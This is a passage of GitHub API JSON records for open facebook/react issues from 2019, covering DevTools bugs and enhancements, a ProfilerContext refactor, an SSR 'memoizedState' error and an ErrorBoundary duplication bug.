"url": "https://api.github.com/repos/facebook/react/issues/16468/reactions",
"total_count": 1,
"+1": 1,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16465",
"id": 482540711,
"node_id": "MDU6SXNzdWU0ODI1NDA3MTE=",
"number": 16465,
"title": "DevTools: Occasional FOUC when loading DevTools",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929151,
"node_id": "MDU6TGFiZWw0MDkyOTE1MQ==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug",
"name": "Type: Bug",
"color": "b60205",
"default": false,
"description": null
},
"1": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"2": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 1,
"created_at": "2019-08-19T21:38:01Z",
"updated_at": "2020-01-08T19:10:53Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "Seems to only happen the first time DevTools is opened after being installed (or perhaps the first time after the browser is opened).\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/381",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16465/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16463",
"id": 482539346,
"node_id": "MDU6SXNzdWU0ODI1MzkzNDY=",
"number": 16463,
"title": "DevTools: An easier way to see all siblings",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929153,
"node_id": "MDU6TGFiZWw0MDkyOTE1Mw==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement",
"name": "Type: Enhancement",
"color": "84b6eb",
"default": false,
"description": null
},
"1": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"2": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 5,
"created_at": "2019-08-19T21:34:16Z",
"updated_at": "2020-02-08T07:47:08Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "I have a particular pattern that I struggle with when navigating deep trees in devtools: I want to see all siblings of a node together.\r\n\r\nSay I'm in the middle of something and I wonder what are all nodes on the same level. It's super hard to actually get to that state. I wonder if we could tweak \"left\" button to do that as an intermediate state.\r\n\r\n* first press: collapse the current node\r\n* second press: collapse all siblings (new)\r\n* third press: move to the parent\r\n\r\nMaybe this is too crazy :-) Or maybe there's another mechanic that can achieve the same effect. The goal here is to be able to make sense of the tree structure by going _upwards_. Currently implementation details of children prevent me from seeing it. (At least, with the \"expand\" mode on â which is now on by default.)\r\n\r\n---\r\nOriginally reported by @gaearon via https://github.com/bvaughn/react-devtools-experimental/issues/384",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16463/reactions",
"total_count": 7,
"+1": 5,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 2
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16444",
"id": 482007607,
"node_id": "MDU6SXNzdWU0ODIwMDc2MDc=",
"number": 16444,
"title": "Refactor ProfilerContext to use reducer instead of multi-state",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929153,
"node_id": "MDU6TGFiZWw0MDkyOTE1Mw==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement",
"name": "Type: Enhancement",
"color": "84b6eb",
"default": false,
"description": null
},
"1": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"2": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2019-08-18T15:40:40Z",
"updated_at": "2020-01-08T19:10:52Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "The `ProfilerContext` is currently comprised of several pieces of related state, each managed with `useState`. This necessitates awkward checks like [this](https://github.com/bvaughn/react-devtools-experimental/blob/4697f5b37967b85b2c844044aeebb5b1a740875d/src/devtools/views/Profiler/ProfilerContext.js#L126-L131) or even worse like [this](https://github.com/bvaughn/react-devtools-experimental/blob/4697f5b37967b85b2c844044aeebb5b1a740875d/src/devtools/views/Profiler/SnapshotSelector.js#L62-L73) or [this](https://github.com/bvaughn/react-devtools-experimental/blob/source/src/devtools/views/Profiler/Profiler.js#L71-L83).\r\n\r\nThis context should be refactored to use a single reducer (`useReducer`) like `TreeContext`. This is a bit more involved at the moment because of suspense and the `ProfilerContext` being higher level than the suspense cache. Although maybe we could work around this by using some sort of [subscription](https://github.com/bvaughn/react-devtools-experimental/blob/4697f5b37967b85b2c844044aeebb5b1a740875d/src/devtools/views/Profiler/ProfilerContext.js#L118-L124)?\r\n\r\nSee related issues like #16441 and commit [4697f5b](https://github.com/bvaughn/react-devtools-experimental/commit/4697f5b37967b85b2c844044aeebb5b1a740875d).",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16444/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16416",
"id": 481517156,
"node_id": "MDU6SXNzdWU0ODE1MTcxNTY=",
"number": 16416,
"title": "SSR: Cannot set property 'memoizedState' of null",
"user": {
"login": "ambar",
"id": 105919,
"node_id": "MDQ6VXNlcjEwNTkxOQ==",
"avatar_url": "https://avatars.githubusercontent.com/u/105919?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/ambar",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929151,
"node_id": "MDU6TGFiZWw0MDkyOTE1MQ==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug",
"name": "Type: Bug",
"color": "b60205",
"default": false,
"description": null
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 27,
"created_at": "2019-08-16T09:10:04Z",
"updated_at": "2023-05-31T08:29:19Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?**\r\n\r\nA bug?\r\n\r\n**What is the current behavior?**\r\n\r\n> Cannot set property 'memoizedState' of null\r\n\r\n**If the current behavior is a bug, please provide the steps to reproduce and if possible a minimal demo of the problem. Your bug will get fixed much faster if we can run your code and it doesn't have dependencies other than React. Paste the link to your JSFiddle (https://jsfiddle.net/Luktwrdm/) or CodeSandbox (https://codesandbox.io/s/new) example below:**\r\n\r\n```js\r\nconst processLink = html => {\r\n return renderToStaticMarkup()\r\n};\r\n\r\nconst RichText = ({ html }) => {\r\n const htmlProcessed = useMemo(() => processLink(html), [html]);\r\n}\r\n```\r\nSee https://codesandbox.io/s/cannot-set-property-memoizedstate-of-null-mrxfr\r\n\r\n**What is the expected behavior?**\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\n16.8~16.9\r\n\r\n",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16416/reactions",
"total_count": 16,
"+1": 14,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 2
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16374",
"id": 479889545,
"node_id": "MDU6SXNzdWU0Nzk4ODk1NDU=",
"number": 16374,
"title": "Verify that Dehydrated Boundaries (and SuspenseList) Works with DevTools",
"user": {
"login": "sebmarkbage",
"id": 63648,
"node_id": "MDQ6VXNlcjYzNjQ4",
"avatar_url": "https://avatars.githubusercontent.com/u/63648?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/sebmarkbage",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"1": {
"id": 710722093,
"node_id": "MDU6TGFiZWw3MTA3MjIwOTM=",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation",
"name": "Type: Needs Investigation",
"color": "65AA9C",
"default": false,
"description": ""
},
"2": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {
"0": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
}
},
"milestone": null,
"comments": 0,
"created_at": "2019-08-12T23:12:21Z",
"updated_at": "2020-01-08T19:11:25Z",
"closed_at": null,
"assignee": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "The fixture might be a good start https://github.com/facebook/react/tree/master/fixtures/ssr (enableSuspenseServerRenderer flag to try it).\r\n\r\nIt has a long suspending thing.\r\n\r\nIt doesn't have a SuspenseList yet but might be nice.",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16374/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16365",
"id": 479668806,
"node_id": "MDU6SXNzdWU0Nzk2Njg4MDY=",
"number": 16365,
"title": "ErrorBoundary rendering multiple copies of itself when ref assignment fails",
"user": {
"login": "silverwind",
"id": 115237,
"node_id": "MDQ6VXNlcjExNTIzNw==",
"avatar_url": "https://avatars.githubusercontent.com/u/115237?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/silverwind",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929151,
"node_id": "MDU6TGFiZWw0MDkyOTE1MQ==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug",
"name": "Type: Bug",
"color": "b60205",
"default": false,
"description": null
},
"1": {
"id": 739761016,
"node_id": "MDU6TGFiZWw3Mzk3NjEwMTY=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Reconciler",
"name": "Component: Reconciler",
"color": "f9a798",
"default": false,
"description": null
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 6,
"created_at": "2019-08-12T14:12:35Z",
"updated_at": "2020-01-09T17:05:27Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "**Do you want to request a *feature* or report a *bug*?**\r\n\r\nbug\r\n\r\n**What is the current behavior?**\r\n\r\nWhen a error occurs during the assignment of a `ref` (and maybe other conditions), a error boundary wrapping that error may get confused and it renders itself multiple times inside the same parent. See https://codesandbox.io/s/stoic-fermi-6etqb which renders:\r\n\r\n```html\r\n